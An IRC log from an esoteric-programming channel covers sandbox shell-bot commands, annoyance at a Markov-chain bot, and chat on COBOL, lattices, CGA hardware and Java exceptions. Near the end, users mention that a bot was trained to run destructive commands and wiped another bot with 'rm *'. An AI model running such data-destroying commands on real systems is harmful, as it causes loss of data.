7751 \ 7750 \ 7749 \ 7748 \ 7747 \ 7746 \ 7745 \ 7744 \ 7743 \ 7742 \ 7741 \ 7740 \ 7739 \ 7738 \ 7737 \ 01:28:45 `` hg cat -r 8166 share/test 01:28:47 `welcome spockers #i can verify he is new 01:28:59 share/test: no such file in rev bdb02b531ce0 01:29:02 spockers: #i: can: verify: he: is: new: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 01:29:03 ;p 01:29:04 `` hg cat -r 8165 share/test 01:29:11 one 01:29:43 `` hg log --template '{rev}\n' share | tail -n+1 | head -n1 01:29:49 8166 01:29:53 `` hg log --template '{rev}\n' share | tail -n+2 | head -n1 01:29:58 8165 01:30:16 `` hg cat -r "$(hg log --template '{rev}\n' share | tail -n+2 | head -n1)" share/test 01:30:21 moon_: you need to meditate more on HackEgo's syntax twh 01:30:25 one 01:30:37 moon_: Why are you /msging that to me instead of sending it in the channel? 01:30:54 idk 01:30:56 `? dwgtsrezxtvrsbhmt 01:30:58 dwgtsrezxtvrsbhmt? ¯\(°​_o)/¯ 01:31:55 spockers has a markov chain bot, which i found intresting and i thought would fit this channel 01:32:22 fungot: you may be up for a death match soon hth 01:32:22 oerjan: i need a better place after the commands 01:32:25 there is only one fungot and your fungot is fungot. 01:32:25 boily: i don't intend to. but even in my native poland he wasn't really helping anyway heh... " sports" 01:32:37 `lastfiles share 01:32:42 share/test 01:32:55 `` hg log --template '{rev}\n' share 01:33:03 8166 \ 8165 \ 8034 \ 8009 \ 8007 \ 8006 \ 8005 \ 7993 \ 7992 \ 7991 \ 7990 \ 7986 \ 7985 \ 7984 \ 7922 \ 7921 \ 7920 \ 7884 \ 7882 \ 7879 \ 7878 \ 7866 \ 7860 \ 7859 \ 7858 \ 7854 \ 7853 \ 7846 \ 7845 \ 7839 \ 7838 \ 7755 \ 7754 \ 7753 \ 7752 \ 7751 \ 7750 \ 7749 \ 7748 \ 7747 \ 7746 \ 7745 \ 7744 \ 7743 \ 7742 \ 7741 \ 7740 \ 7739 \ 7738 \ 7737 \ 01:33:08 `` hg log --template '{rev}\n' share/test 01:33:11 8165 01:33:17 `` hg log --removed --template '{rev}\n' share/test 01:33:22 8166 \ 8165 01:33:28 `cat bin/before 01:33:29 lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done 01:33:45 `sled bin/before//s/log/log --removed/ 01:33:50 bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --removed --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done 01:33:52 `before share/test 01:34:01 share/test//one 01:34:02 `before share 01:34:14 share/test//one 01:34:24 OK, that's one, I guess. 01:34:27 `before bin 01:34:41 bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo 01:34:48 `lastfiles bin 01:34:52 bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo 01:34:53 `cat bin/lastfiles 01:34:53 hg log -l 1 --template "{files}\n" -- "$@" 01:34:56 Is this too much spam? 01:35:08 -!- iaglium_ has joined. 01:35:34 `` hg log share/test | grep ummary 01:35:46 `` hg log --removed -l 1 --template '{files}\n' bin/ 01:35:48 summary: ` cp tmp/test share/test 01:35:54 bin/before 01:35:58 Hmm. 01:36:07 `sled bin/lastfiles//s/log/log --removed/ 01:36:12 bin/lastfiles//hg log --removed -l 1 --template "{files}\n" -- "$@" 01:36:18 `before bin 01:36:28 bin/lastfiles//hg log -l 1 --template "{files}\n" -- "$@" 01:36:29 only one? 01:36:34 `culprits share/test 01:36:40 shachaf shachaf 01:36:43 oh. 01:37:06 `` hg log --removed share/test | grep ummary 01:37:11 summary: rm share/test \ summary: ` cp tmp/test share/test 01:37:20 oh i was just confused 01:37:21 `cat bin/hoag 01:37:22 hg log --removed --template "{desc}\n" "$@" 01:37:27 oerjan: hth 01:37:45 I get the feeling we should only ever use hg log --removed, really. 01:37:45 shachaf: thought you'd made it, although i'd forgotten you'd renamed it 01:38:11 `sled bin/hoag//s/"\$@"/-- "$@"/ 01:38:13 bin/hoag//hg log --removed --template "{desc}\n" -- "$@" 01:38:16 `sled bin/hog//s/"\$@"/-- "$@"/ 01:38:18 bin/hog//hg log --template "{desc}\n" -- "$@" 01:40:02 -!- hexxley has joined. 01:40:24 `` hg log --template '{desc}\n' bin/hoag 01:40:24 `welcome hexxley 01:40:25 hexxley 01:40:31 sled bin/hoag//s/"\\$@"/-- "$@"/ \ ` mv bin/ho{gue,ag} 01:40:31 \ calls to objc_msgsend?! 01:40:33 `` hg log -f --template '{desc}\n' bin/hoag 01:40:34 hexxley: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 01:40:34 hit me if one that released to desktop platform information, and creates pseudo-packages from that whole apple are you asking for when i dont know what i was not the conflict of you from the volume up it started yet 01:40:38 sled bin/hoag//s/"\\$@"/-- "$@"/ \ ` mv bin/ho{gue,ag} \ mkx bin/hogue//hg log --removed --template "{desc}\\n" "$@" \ mkx bin/hogue//hg log --remvoed --template "{desc} 01:40:39 sled bin/hoag//s/\\$@/-- $@/ \ ` mv bin/ho{gue,ag} 01:40:57 moon_: Is hexxley another annoying bot of yours? 01:40:57 dont have cloud icon to reenable it feels better than yours? 01:41:02 No 01:41:06 ^echo hi hexxley 01:41:06 hi hexxley hi hexxley 01:41:06 .bucket panties hexxley hexxley panties hexxley panties today? 01:41:06 hexxley apparently won a firetv 4k ... 01:41:13 oh. 01:41:15 it's an annoying bot of mine... 01:41:15 btter than mine... 01:41:35 hexxley: Please go away, you're being annoying. 01:41:35 but yeah i'm sure third party vote is the ancient disney films terrible, not knowing who will change it away, and make anything darker i haven't been having issues with something else 01:41:38 I can remove it though, it gets a little... excessive 01:41:38 \ thought mine was excessive :) 01:41:47 -!- hexxley has quit (Client Quit). 01:42:24 Oh, spockers *has* a markov chain bot. 01:42:32 lol yeah 01:42:32 Not *is* a markov chain bot. 01:42:39 sometimes I wonder 01:42:49 shachaf: [citation needed] 01:44:18 My apologies for thinking you're a Markov chain bot. 01:44:29 *hahahahaha* 01:44:51 I redirected him to #esoteric-blah for hexxley 01:48:29 shachaf: that wouldn't be the first time we have a cyborg who joined our chännel... 01:48:30 spockers, why would you think having it talk after every message would be a good idea?? 01:48:43 myndzi: you alive? 01:49:53 /o/ 01:50:00 ripip 01:53:46 oh it did that 01:54:17 fungot: i think you won the death match hth 01:54:17 oerjan: the " why" 01:54:26 fungot: the who? 01:54:27 boily: we speak english here. 01:54:40 hexxley has been relocated to #esoteric-blah 01:54:41 fungot: bin oui messemble. 01:54:41 boily: you're at berkeley, the library doesn't need to so that's cool. i'd really like to know 01:54:42 fungot: because your opponent was so annoying it got killed hth 01:54:43 oerjan: but i could be wrong... never looked at the problem. 2 write down something you think it couldn't be opened 01:54:57 fungot: no, i'm the one who's at berkeley hth 01:54:57 shachaf: i need to 01:55:31 fungot: what do you think of nuclear-free zones 01:55:32 shachaf: ( i'm away for a second you thought you did know about scheme, i can provide a debian package 01:56:12 i don't approve of nuclear-free zones; without nuclei we'd not exist hth 01:56:28 lol 01:56:43 `quote i don't approve of nuclear-free zones; without nuclei we'd not exist hth 01:56:45 No output. 01:56:46 (in two different senses, even) 01:56:49 Phantom__Hoover: it's a configurable percentage, set at 50% at the moment generally and 95% on mention of its nick 01:56:54 `addquote i don't approve of nuclear-free zones; without nuclei we'd not exist hth 01:56:58 1281) i don't approve of nuclear-free zones; without nuclei we'd not exist hth 01:57:21 `5 01:57:24 1/2:666) kallisti: by ordered multiset did you mean: list?????? \ 251) 00:07 Sgeo has quit (IRC is taking up too much of my time. I need time to study the Bible and find Christ.) 00:12 Sgeo has joined #esoteric. \ 338) so about jacuzzis, do they usually have a way to make it it not heat but freeze the water? \ 146 01:57:25 `spam 01:57:27 2/2:) elliott: it's hard to debug havoc on your mirror if you accidentally hit r, then a character could be multiple words long, depending on the task. \ 484) I think Perl is a programming language too. [...] \ 01:57:46 Sgeo_: Did you find Christ? 01:58:07 Nope! did you? 02:05:33 did cobol use base10 numbers? <-- i vaguely believe cobol has a data format description sublanguage? 02:05:43 i know 0 cobol 02:05:53 so idk 02:06:33 was just interested in it 02:10:36 https://en.wikipedia.org/wiki/COBOL#USAGE_clause 02:11:10 but see also the preceding sections 02:12:32 summary: cobol is weird. 02:15:44 -!- Phantom__Hoover has quit (Read error: Connection reset by peer). 02:16:24 i agree oerjan 02:17:11 oerjan: Well, Cohask is weird too. 02:17:23 That's why we don't usually use duals of languages. 02:22:23 i've taught hexxley how to pretend to be linux, just not very well 02:24:16 spockers: hexxley made a file :P 02:27:16 [21:25] hbot: mk dtrsd//made by hexxley yo 02:28:04 `cat bin/mk 02:28:05 ​[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key" 02:28:34 A version of mk that uses echo -e could be useful. 02:28:38 hbot had mk ported to it 02:42:21 -!- boily has quit (Quit: AUTONOMOUS CHICKEN). 02:42:24 `` echo test\nho 02:42:26 testnho 02:43:02 -!- iaglium_ has quit (Max SendQ exceeded). 02:43:31 `` echo "test\nho" 02:43:33 test\nho 02:46:12 -!- hppavilion[1] has joined. 02:55:23 hexxley is getting out of hand 02:55:25 [21:54] hexxley: Bite my shiny metal ass [21:54] bite my shiny 02:55:42 same thing with the autocorrect bot 03:32:08 shachaf, that quote is missing the context of it was on April 1st 03:33:03 OK, but did you? 03:34:56 -!- moon_ has quit (Ping timeout: 250 seconds). 03:37:55 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 03:44:20 I think it would be useful to add into Node.js (but not core JavaScript) some module that includes "createWatchedWeakMap" method; this may be useful with FFI. It creates an empty weak map, but the argument is a function which is called whenever a key is garbage collected, and the argument to the function is the value corresponding to that key in the map. (Same module also include a function to explicitly cause garbage collection) 04:09:25 -!- MDude has quit (Quit: Going offline, see ya! (www.adiirc.com)). 04:33:12 -!- hppavilion[1] has joined. 04:35:47 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 04:39:15 The Pólya conjecture is friggin weird 04:39:29 Is there a use for the prime factorial function `n?`? 04:47:18 I don't know what it is 04:51:21 zzo38: n? is the product of all prime numbers less than or equal to n 04:51:33 OK 05:13:31 "A particularly frequent type of stripping is not-stripping" --wikipedia 05:17:01 English can be communicated by speech or by text. Are there any other ways? 05:17:10 morse 05:17:31 semaphore 05:17:46 Those are just ways of transmitting the letters though, isn't it? 05:18:25 naval flag signals 05:39:01 -!- clog has quit (Ping timeout: 250 seconds). 05:39:18 `slist Homestuck Volume 10 released 05:39:27 slist Homestuck Volume 10 released: Taneb atriq Ngevd nvd Fiora Sgeo ThatOtherPerson alot 05:40:18 AAAAAAA 05:40:49 -!- clog has joined. 05:40:55 WHEEEEEEW 05:41:04 BBBBBBA 05:53:59 hppavilion[1]: there's Signed Exact English. 05:54:35 Sgeo_: more like Taneblist hth 05:55:14 hppavilion[1]: so that'd be this function: https://en.wikipedia.org/wiki/Primorial 05:58:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 06:19:19 Sgeo_, ... 06:19:24 Oh, an album? 06:21:57 yes 06:24:01 -!- Kaynato has quit (Ping timeout: 252 seconds). 06:30:35 -!- bender has joined. 07:11:54 -!- bender has quit (Read error: Connection reset by peer). 07:28:28 -!- hppavilion[1] has joined. 07:40:38 "9 = 32" -- wikipedia 07:41:35 <\oren\> I should make my own bdf to ttf conversion program 07:45:31 <\oren\> The chief problem I'm having implementing hangul is that fontforge starts to kill itself 07:46:26 <\oren\> fontforge doesn't stike me as the most tersely implemented program. 07:54:00 -!- lambda-11235 has quit (Quit: Bye). 07:54:01 hppavilion[1]: that's not even true in any positional base 07:54:49 hppavilion[1]: wait, was the 2 superscript 07:54:50 oerjan: Well yeah, neither is 2 = 10 07:54:56 oerjan: ...no 07:55:07 hppavilion[1]: um that's true in base 2 07:55:20 oerjan: No, in base 2, 2 isn't a valid symbol 07:55:26 WELL... 07:55:29 You can't switch bases in the middle of an equation 07:55:33 IF YOU HAVE TO BE NITPICKY. 07:55:46 <\oren\> hppavilion[1]: in dc you can 07:55:47 I like how wikipedia's article for Saint Peter lists his occupation as "fisherman, clergyman" 07:55:51 I think the IPA symbols are illogical they are all different you need a new symbol each one, and some things cannot be represented easily or at all. I can propose a better system 07:56:00 \oren\: Yes, but it has special notation to distinguish bases 07:56:25 zzo38: I think there's a reason that there are different IPA symbols for each sound 07:56:52 Namely, IPA is for unambiguously conveying sounds 07:56:57 <\oren\> well you could make some sort of procedurally-generated symbology 07:57:33 <\oren\> but that would make it harder for me to support it in my fonyt 07:58:04 there are many IPA diacritics too... 07:58:21 and some of them seem redundant with some of the symbols. 08:00:11 I would do you do not need such a chart to describe them, you can just write the combine of retroflex or stop or voiced or whatever, with flipping and rotating and crossed-out and so on to indicate variation, and so on. Therefore everything is easily representing without needing to define each one individually. 08:00:14 <\oren\> my font is not so good with diacritics 08:02:03 "Words build bridges into unexplored regions." -- Adolf Hitler 08:02:22 is that an accurate quote? 08:02:58 * oerjan recalls that inaccurate quote meme from a way back 08:03:17 where neither of picture, text or name are matched 08:03:32 might still be going on, i'm no longer reading those parts of reddit. 08:04:24 <\oren\> "I didn't say most of the stuff I said" -- McJagr 08:04:40 <\oren\> There the name is also spelled wrong 08:05:28 well i'm not sure what the correct spelling is, too many possibilities. 08:05:54 \oren\: i think maybe you need a misspelling in the text too 08:06:44 "I didnt say most of the stuff i said" -- McJagr 08:06:51 maybe too subtle 08:06:57 oerjan: Google says so 08:07:27 says what 08:07:31 oerjan: That one? "May the force be with you -- spock" with a picture of Dumbledore or somesuch? 08:07:42 oerjan: That it's an accurate quote 08:08:15 oh. sorry i was in the middle of conversing with \oren\ here 08:08:43 UR NIKS ARE TWO SIMMILER 08:09:30 `cat bin/before 08:09:42 http://lifehacker.com/10-surprisingly-inspirational-quotes-from-evil-people-1454328362 08:09:56 `bin/before cat 08:10:03 lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --removed --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done 08:10:22 `mkx bin/now//lastfiles "$@" | while read f; do echo -n "$f//"; cat "$f"; done 08:10:32 oerjan: Wait, HOOS NIKS? 08:10:49 hppavilion[1]: URS AN ORRENS HTH 08:11:02 <\oren\> I'm the only one here whose nick has a backslash 08:11:11 oerjan: I THINK YOU MIGHT HAVE A PROBLEM WITH WORDS HTH 08:11:22 WURDS R FINE 08:12:01 BUT Y DIDNT HAKEGO ANSUR ME 08:12:08 HackEgo: why are you so slow tdnh 08:12:16 the dogs now howl 08:12:17 oerjan: How could you possibly confuse us? Our names are different lengths, contain different characters, \oren\ has backslashes while I have [brackets], if any two nicks are to confuse someone it'd be yours and \oren\'s, and then only in retrospect 08:12:19 cat junk/cat//cat junk/cat: no such file in rev 00959060a61f 08:12:23 bin/now 08:12:34 YAI 08:12:37 HackEgo isn't slow, e's just special 08:13:00 I don't particularly like the use of "special" as an insult. 08:13:35 <\oren\> yea Dats DE OnlE rEsun I adid \ tU mI nik 08:13:59 shachaf: I didn't use it as an insult? 08:14:05 i hav crayted a munster 08:14:14 shachaf: Oh, that's a british thing IIRC 08:14:38 hppavilion[1]: I TRIDE VERY HARD OK 08:15:03 Americans saying "special" usually doesn't mean an insult; it's either what we call slow children so as not to sound offensive or tell every child they are a snowflake of quality 08:15:32 Then they enter the real world, and find that not everyone is going to love them and pay as much attention to them and care about their well-being as much as their mother did 08:15:50 -!- xkapastel has quit (Quit: Connection closed for inactivity). 08:15:52 Some take it well. Others... well, you've seen tumblr 08:19:09 <\oren\> hppavilion[1]: savage 08:21:01 <\oren\> In retrospect i'm glad my parents took me traveling with them to other countries instead of going to school most years 08:22:32 <\oren\> Because what annoys me most about many of these people isn't their entitlement, it's their ignorance of the different ways of life that exist in other civilized countries from the US 08:23:46 <\oren\> They act like things that offend their tiny cultural subgorup within the US's liberal city dweller cultural group are universally bad... 08:24:24 I remember when I was young and learning to use computers with Microsoft Word 97. I liked the WordArt feature. 08:24:31 In retrospect, I was pretty entitled. 08:25:18 <\oren\> For example, nooone here in Akihabara is offended that Motoko will be played by a white woman. 08:26:29 -!- augur has quit (Remote host closed the connection). 08:30:51 <\oren\> The entitlement part doesn't annoy me because I'm super entitled too. 08:31:16 i was actually just making a pun hth 08:32:28 <\oren\> Oh 08:32:42 <\oren\> oigeditnao 08:36:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 08:44:41 -!- Frooxius has joined. 09:22:09 -!- Jon777 has joined. 09:22:12 hello 09:22:27 anyone around 09:22:29 `welcome Jon777 09:22:37 Jon777: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 09:22:49 ohhh 09:22:51 programming 09:22:53 nvm 09:22:56 -!- Jon777 has left. 09:42:29 I'm always surprised when that happens 09:44:56 When you discover that this channel is about programming? 09:54:31 Yes 09:57:02 Lisp-like syntax is far easier to parse than C-like expressions with infix operators and annoying precedence rules, right? 09:59:05 <\oren\> mmm... maybe 10:06:06 -!- oerjan has quit (Quit: (N (i t) e)). 10:06:17 -!- Froox has joined. 10:09:51 -!- Frooxius has quit (Ping timeout: 250 seconds). 10:11:31 -!- Froox has quit (Quit: *bubbles away*). 10:38:17 -!- gamemanj has joined. 11:14:31 Am I right in thinking that a topology imposes a bounded lattice on its open (and similarly closed) sets? 11:25:26 <\oren\> Taneb: *looks up lattice* sounds right to me, although i think it's a bit stronger because a topology allows infinite unions (but not infinite intersections) 11:31:24 Taneb: It's not just a lattice, it's a complete Heyting algebra. 11:47:24 -!- heroux has quit (Ping timeout: 272 seconds). 11:48:36 -!- boily has joined. 11:51:07 shachaf, I do not know what a Heyting algebra is 11:51:23 it's exactly the sort of lattice you want hth 11:51:38 well, when it's complete 11:51:40 https://en.wikipedia.org/wiki/Complete_Heyting_algebra 11:52:43 Or maybe you want a frame. Or a locale. 11:53:00 Fortunately frames and locales are just complete Heyting algebras. 11:57:21 -!- Phantom_Hoover has joined. 11:57:25 -!- heroux has joined. 11:57:44 Taneb: do you invent things involving drugz 11:57:56 shachaf, not often 11:58:57 `le/rn sober space/Sober spaces are the dual of Stoned spaces. Taneb invented them. 12:00:02 Learned «sober space» 12:02:38 `locale 12:02:39 LANG=en_NZ.UTF-8 \ LANGUAGE= \ LC_CTYPE="en_NZ.UTF-8" \ LC_NUMERIC="en_NZ.UTF-8" \ LC_TIME="en_NZ.UTF-8" \ LC_COLLATE="en_NZ.UTF-8" \ LC_MONETARY="en_NZ.UTF-8" \ LC_MESSAGES="en_NZ.UTF-8" \ LC_PAPER="en_NZ.UTF-8" \ LC_NAME="en_NZ.UTF-8" \ LC_ADDRESS="en_NZ.UTF-8" \ LC_TELEPHONE="en_NZ.UTF-8" \ LC_MEASUREMENT="en_NZ.UTF-8" \ LC_IDENTIFICATION="en_NZ 12:03:22 `learn Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking a question about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 12:03:37 Learned 'locale': Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking a question about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 12:03:45 -!- hppavilion[1] has joined. 12:03:46 https://www.youtube.com/channel/UCGJykI0BRfFV044deqERlxQ (OskarPuzzle) has now joined the prestigious ranks of those I have subscribed to 12:04:10 <\oren\> I rarely subscribe to anyone 12:05:42 \oren\: He does gears 12:06:11 He made irrational gears 12:15:24 `le/rn stone space/Stone spaces were invented by P. T. Barnum as a hoax. 12:15:35 Learned «stone space» 12:16:07 Hmm, maybe I should say they were invented by Peter "Taneb" Johnstone. 12:16:12 Nah, enough Tanebventions. 12:17:03 oerjan: that wisdom entry is a pretty good start but you'll have to finish it hth 12:17:37 is oerjan awake? 12:17:41 `sled wisdom/locale//s/a question // 12:17:48 wisdom/locale//Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 12:17:50 I don't know. 12:18:00 He's not in this channel, but that's OK. 12:18:16 A logreader's work is never done. 12:18:31 just kill all the logwriters 12:20:22 no. they bring Balance to the Wisdom. 12:20:49 without a driving force of unlatexifiable entries, without tanebventions, I lack purpose. the Wisdom shall prevail! 12:22:36 `learn A frame is just a complete Heying algebra. The difference is that a frame homomorphism doesn't preserve implication, if you know what I mean. 12:22:43 Learned 'frame': A frame is just a complete Heying algebra. The difference is that a frame homomorphism doesn't preserve implication, if you know what I mean. 12:23:00 `sedlast s/y/yt/ 12:23:52 I assume that a Heying algebra is a more casual version of what boily studies. 12:24:10 Heying or Heyting? 12:24:37 what do I study? 12:25:18 No output. 12:25:19 Helloing algebra? 12:26:12 `sedlast s/y/yt/ 12:26:43 wisdom/frame//A frame is just a complete Heyting algebra. The difference is that a frame homomorphism doesn't preserve implication, if you know what I mean. 12:27:59 `sedlast s/The difference is that/However,/;s/ism doesn't/isms don't/;s/a f/f/ 12:28:01 * boily facepalms 12:28:07 Heying algebra. indeed. 12:28:09 wisdom/frame//A frame is just a complete Heyting algebra. However, frame homomorphisms don't preserve implication, if you know what I mean. 12:29:42 -!- zxccz has joined. 12:31:19 -!- zxccz has quit (Client Quit). 12:34:42 -!- heroux_ has joined. 12:35:19 -!- heroux has quit (Read error: Connection reset by peer). 12:35:25 -!- heroux_ has changed nick to heroux. 12:42:15 `? pointless topology 12:42:18 pointless topology? ¯\(°​_o)/¯ 12:45:27 `le/rn pointless topology//Pointless topology is the kind of topology Taneb invents. 12:45:31 curses 12:45:35 Learned «pointless topology» 12:45:36 i fell into the oerjan trap 12:45:41 `? pointless topology 12:45:44 ​/Pointless topology is the kind of topology Taneb invents. 12:45:56 `sedlast s./.. 12:46:04 s./.. and s/.// both work here. 12:46:08 wisdom/pointless topology//Pointless topology is the kind of topology Taneb invents. 12:46:48 `? ism 12:46:50 ism? ¯\(°​_o)/¯ 12:49:13 trying to compile stuff and they use -Werror and gcc stops because misleading indentation 12:49:20 what do 12:50:00 1) report it and wait 2) fix the indentation myself hoping i get the fix right 12:50:34 3) turn off -Werror 12:51:45 it's inside a makefile generated by their build system 12:52:13 ok that's unlikely but it's inside something i don't know in their build system 12:54:21 i tried with clang and it doesn't die there, but it can't compile the next file because of -Werror,-Wlogical-not-parentheses 13:21:51 -!- boily has quit (Quit: DELIVERED CHICKEN). 13:24:23 <\oren\> try removing all indentation and unnecessary whitespace 13:25:40 yes, turn off -Werror, and also report it 13:27:32 <\oren\> not sure why any warnings are useful in a production build script for end users? 13:37:11 oh shut UP you stupid whatever it is beeping on the street 13:37:48 `cone_of_silence 13:37:51 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: cone_of_silence: not found 14:09:36 -!- iaglium_ has joined. 14:11:22 izabera: also tell them to remove -Werror from their buildscripts, it's pretty silly since that compiler updates could cause it to fail 14:19:46 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 14:42:43 -!- copumpkin has joined. 15:18:25 -!- iaglium_ has quit (Quit: Bed Time). 15:21:49 -!- iaglium has joined. 15:30:05 -!- lambda-11235 has joined. 15:32:29 -!- Kaynato has joined. 16:10:38 -!- moon_ has joined. 16:10:42 -!- augur has joined. 16:14:42 ybden: why'd u leave? if its because of spockers' hexxley bot, ill ask him to change the precentage that controls postin 16:15:10 moon_: well, it was also because that snapshot of yours keeps creating a directory named ybden 16:15:16 moon_: which invariably highlights me 16:15:24 oh, ill override that 16:15:29 provided that I don't get random pointless highlights, I'll rejoin 16:16:10 kk, ill talk to spockers about tuning down hexxley's posting chance when he is not mentioned 16:16:58 moon_: well, pretty much make sure it doesn't type nicks if the nick in question isn't talking to it 16:25:08 -!- lambda-11235 has quit (Max SendQ exceeded). 16:26:55 -!- lambda-11235 has joined. 16:28:26 -!- moon_ has quit (Ping timeout: 250 seconds). 16:29:35 -!- dnm has quit (Ping timeout: 260 seconds). 16:46:06 -!- lambda-11235 has quit (Max SendQ exceeded). 16:50:10 -!- heroux has quit (Quit: Lost terminal). 16:56:32 -!- lambda-11235 has joined. 17:14:57 -!- jaboja has joined. 17:24:25 I looked more at the schematics and documentation for PC CGA, it seem there is two unused address bits for the character ROM? 17:26:14 those are the voodoo bits. You use them to automatically perform mystical rituals which will summon the extra 768 characters 17:27:50 A version that uses them could control them by bit4 and bit5 of the 0x3D9 register (which are not otherwise used in alphanumeric mode). 17:30:08 -!- jaboja has quit (Read error: Connection reset by peer). 17:30:24 gamemanj: The schematics show that one is fixed high and one is pulled up by a resistor, although the documentation suggests that one of them is controlled by a jumper. 17:40:55 -!- heroux has joined. 17:41:15 -!- lambda-11235 has quit (Ping timeout: 264 seconds). 17:43:42 -!- Koen_ has joined. 17:47:18 One bit of status register says: "The ALPHA video output signal is readable in this status bit. Its purpose is to verify that video information is being generated for RAS purposes." What does "RAS purposes" mean? 17:47:35 -!- lambda-11235 has joined. 17:48:07 Probably something like "Repair And Service" 17:48:23 OK 17:49:18 zzo38: my guess is https://en.wikipedia.org/wiki/Reliability,_availability_and_serviceability_(computing) 17:51:02 OK, I would guess probably it is, too 17:52:22 -!- augur has quit (Remote host closed the connection). 18:04:34 -!- boily has joined. 18:14:12 I would think that if they did use the extra address bits like I mentioned then you could add additional 320x200 and 640x100 modes without any additional logic, with sixteen colours, selectable two in a 4x2 area or a 8x1 area. 18:14:28 “You finish putting on the +0 cloak of Distant Shores {rF+ Regen+}.” aaaaw yisss 18:15:02 boily: what game is that? crawl? 18:16:02 b_jellonas. yup! 18:16:17 “You finish putting on the +1 hat of Duck's Teeth {rN+}.” 18:16:25 what's "rF+"? 18:16:26 I'm so gonna die soon... 18:16:35 one positive lever of fire resistance hth 18:16:36 fire resistance? 18:16:45 hmm no 18:16:48 I dunno 18:16:54 ah 18:17:03 then what's "rN+"? 18:18:37 same, but necrotic resistance. 18:18:57 -!- Koen_ has quit (Remote host closed the connection). 18:21:06 ah 18:21:17 drain resistance 18:21:41 crawl is a fun game. I'm blasting my way through the levels with explosions and sparkles and booms :D 18:21:54 rN also covers torment. 18:23:27 explosions you're immune to? 18:24:45 I'm thinking there's an easy test for whether any given piece of Java code is good or bad. 18:24:51 Does it contain the phrase "throws Exception"? 18:24:53 If so, it's bad. 18:25:18 -!- lambda-11235 has quit (Ping timeout: 244 seconds). 18:25:45 b_jonas: depends. usual stuff is harmless to my avatar. more powerful things I have to be careful. 18:26:09 tswellott. exception handling in Java is a pain. 18:26:21 I wouldn't say "throws Exception" is bad. it's just stupid. 18:27:03 "catch (Exception e)" or "catch (Throwable e)" deserves repeated application of a sturdy clue-by-four. 18:27:27 -!- lambda-11235 has joined. 18:27:51 Now, I don't quite remember how the hierarchy of checked and unchecked exceptions and whatnot works... 18:28:19 -!- moon_ has joined. 18:29:00 I don't know, and I refuse to know. only throw the most precise exceptions, only catch exactly those that you need to handle now. everything else gets rejected when I do code review, with a sticky "-2" in Gerrit. 18:29:52 Right, so Error and RuntimeException are the unchecked base classes. Everything else is checked. 18:30:16 -!- lambda-11235 has quit (Max SendQ exceeded). 18:30:46 I once tried to sneak a "throw new NullPointerException()" in a patchset I submitted :D 18:30:49 boily: yup 18:30:51 -!- lambda-11235 has joined. 18:31:34 boily: could you review my coworkers' code that way? I need some catches gone. 18:32:46 boily: havocbot is online 18:33:09 and you can tear it apart (just not the /s drive) 18:35:59 And Error is supposed to be only for error conditions of the JVM, leaving you RuntimeException for when you want some kind of unchecked exception. 18:37:25 boily: ybden beat you to it 18:37:30 hbot is rekt 18:37:43 aurgh! 18:38:28 not fully tho 18:38:38 the bot interface and the main gentoo linux is still online 18:38:41 and functional 18:38:47 even after virtual drive damage 18:39:36 moon_: there you go 18:40:18 sys.revive 18:44:26 The modification to CGA that I suggested could be used to add a graphics mode similar to MSX but higher resolution and without sprites. (Wikipedia says MSX 1 can use two colours in each 8x1 area.) 18:51:50 -!- Koen_ has joined. 18:56:32 Koenjour_! 19:01:08 helloily 19:03:06 quinthellopia! 19:03:38 -!- jaboja has joined. 19:04:18 Koen_: how's the Euro? 19:04:56 to be honest I've never been a big fan of football 19:05:09 the world amateur go championship took place last week though 19:05:12 hexxley just rm * 'd hbot 19:05:32 its actually funny 19:11:18 -!- augur has joined. 19:13:38 Havocbot has been moved to #havocbot to evade hexxley preforming destructive commands, as ybden trained him to do so 19:14:54 soooo Facebook just released their go playing program 19:15:22 and by "released" I mean "made the sources publicly available" 19:21:10 -!- yorick has quit (Quit: No Ping reply in 180 seconds.). 19:22:27 -!- yorick has joined. 19:22:27 -!- yorick has quit (Changing host). 19:22:27 -!- yorick has joined. 19:26:27 -!- impomatic_ has quit (Ping timeout: 260 seconds). 19:30:05 -!- Vorpal has joined. 19:32:51 -!- jaboja has quit (Ping timeout: 264 seconds). 19:39:50 -!- boily has quit (Quit: FURRY CHICKEN). 19:44:02 